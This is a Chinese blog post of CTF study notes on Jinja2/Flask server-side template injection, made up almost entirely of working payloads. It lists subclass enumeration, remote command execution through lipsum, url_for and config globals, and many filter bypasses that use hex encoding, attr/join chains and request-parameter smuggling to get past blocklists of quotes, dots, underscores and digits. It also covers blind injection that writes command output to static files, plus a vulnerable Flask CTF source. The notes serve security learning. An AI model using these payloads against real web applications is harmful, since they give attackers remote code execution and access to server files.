关于jinja2的ssti模版注入的学习+过滤
查找想要的模块
cnt = 0
for item in [].__class__.__base__.__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print(cnt, item)
cnt += 1
except:
cnt += 1
continue
{% for i in range(300) %}
{{ i }} - {{ ''.__class__.__mro__[1].__subclasses__()[i] }}<br>
{% endfor %}
{%for i in range(300)%}{%print(i)%}-{%print(''.__class__.__mro__[1].__subclasses__()[i])%}<br>{%endfor%}
level 1
{{7*7}}-->49
找<class 'object'>
{{''.__class__.__bases__[0].__subclasses__()}}
{{[].__class__.__bases__[0].__subclasses__()}}
{{().__class__.__bases__.__subclasses__()}}
{{[].__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{().__class__.__mro__[1].__subclasses__()}}
{{config.items()}}
{{config}}
{{''.__class__.__mro__[1].__subclasses__()[157]}}
Hello <class 'os._wrap_close'>
{{''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__['sys'].modules['os'].popen('cat flag').read()}}
Hello SSTILAB{enjoy_flask_ssti}
🌟
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
{{过滤
{%for i in range(300)%}{%print(i)%}-{%print(''.__class__.__mro__[1].__subclasses__()[i])%}<br>{%endfor%}
{%print(''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__['popen']('cat flag').read())%}
{%print(''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__['sys'].modules["os"].popen('ls').read())%}
{%print(get_flashed_messages.__globals__.sys.modules['os'].popen('ls').read())%}
过滤_
可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os']['popen']('cat flag').read()}}
传参过滤引号
http://192.168.777.777:4999/level/5?zxc=cat flag
POST:code={{lipsum.__globals__.os.popen(request.args.zxc).read()}}
只填引号都报错,被waf
request.args.x1
get传参
request.values.x1
所有参数
request.cookies
cookies参数
request.headers
请求头参数
request.form.x1
post传参(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data
post传参(Content-Type:a/b)
request.json
post传json(Content-Type:application/json)
过滤[[
{{lipsum.__globals__.os.popen('cat flag').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{get_flashed_messages.__globals__.os.popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{lipsum.__globals__['os'].popen('ls').read()}}
获取键值或下标
dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)
替换一下
{{lipsum.__globals__.get('os').popen('ls').read()}}
blind盲注
https://blog.csdn.net/2401_84009749/article/details/137661728
其中lipsum为 flask框架 内置函数 通用
{{lipsum.__globals__['os'].popen('echo "zxc" > static/1.txt').read()}}
{{lipsum.__globals__['os'].popen('echo `cat flag` > static/1.txt').read()}}
http://192.168.777.777:4999/static/1.txt
在盲注这里需要注意的是,你需要提前了解该环境的目录结构,才能用出,这里借用西电ctf的题目源码进行解释
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>Welcome: {username}</div></div>
</div>
"""
render_template_string(login_msg)#并没有将渲染后的输出
else:
login_msg = ""
#我们需要熟悉能够造成模版注入的代码,这里明显就是进行了渲染,但是没有把渲染后的内容回显
return render_template("index.html", login_msg=login_msg)#这里输出的是未经渲染的
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
而在西电ctf中学到
如果分配给你的权限不是root,那就是你也打印不了数据,需要提权,可是你有看不到回显数据,怎么办呢?
参考文章
https://xz.aliyun.com/news/15431
https://www.cnblogs.com/tammy66/articles/18616135#http回显
https://www.cnblogs.com/shinnylbz/p/18572680
过滤.
{{lipsum['__globals__']['os']['popen']('cat flag')['read']()}}
{{lipsum['__globals__']['__getitem__']('os')['popen']('cat flag')['read']()}}
{% for i in range(300) %}{{i}}-{{''['__class__']['__mro__'][1]['__subclasses__']()[i]}}<br>{% endfor %}
{{''['__class__']['__mro__'][1]['__subclasses__']()[157]['__init__']['__globals__']['popen']('cat flag')['read']()}}
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(157)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat flag')|attr('read')()}}
关键字过滤"class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"
{{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['os']['\x70\x6f\x70\x65\x6e']('cat flag')['read']()}}
过滤数字
{{config}}
{{config.items()}}
bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]
ban 了 request思考如何返回字符串?
通过过滤器 | join 返回变量
ban 了 . []如何取属性 ?
通过 |attr()
如何取键值 ?
通过 __getitem__('key')
然后用 {%set %}拼接
{{lipsum.__globals__.os.popen('ls').read()}}
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
{{lipsum.__globals__.os.popen('cat flag').read()}}
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set pop=dict(pop=a)|join%}
{%set space=(lipsum|string|list)|attr(pop)(9)%}
{%set cat=dict(cat=a)|join%}
{%set cmd=(cat,space,dict(flag=a)|join)|join%}
{%set d=dict(re=a,ad=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
bl['_', '.', '0-9', '\', ''', '"', '[', ']']
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
bl['_', '.', '\', ''', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
{{lipsum.__globals__.os.popen('cat flag').read()}}
本文来自博客园,作者:z3xc,转载请注明原文链接:https://www.cnblogs.com/z3xc/p/19131857

浙公网安备 33010602011771号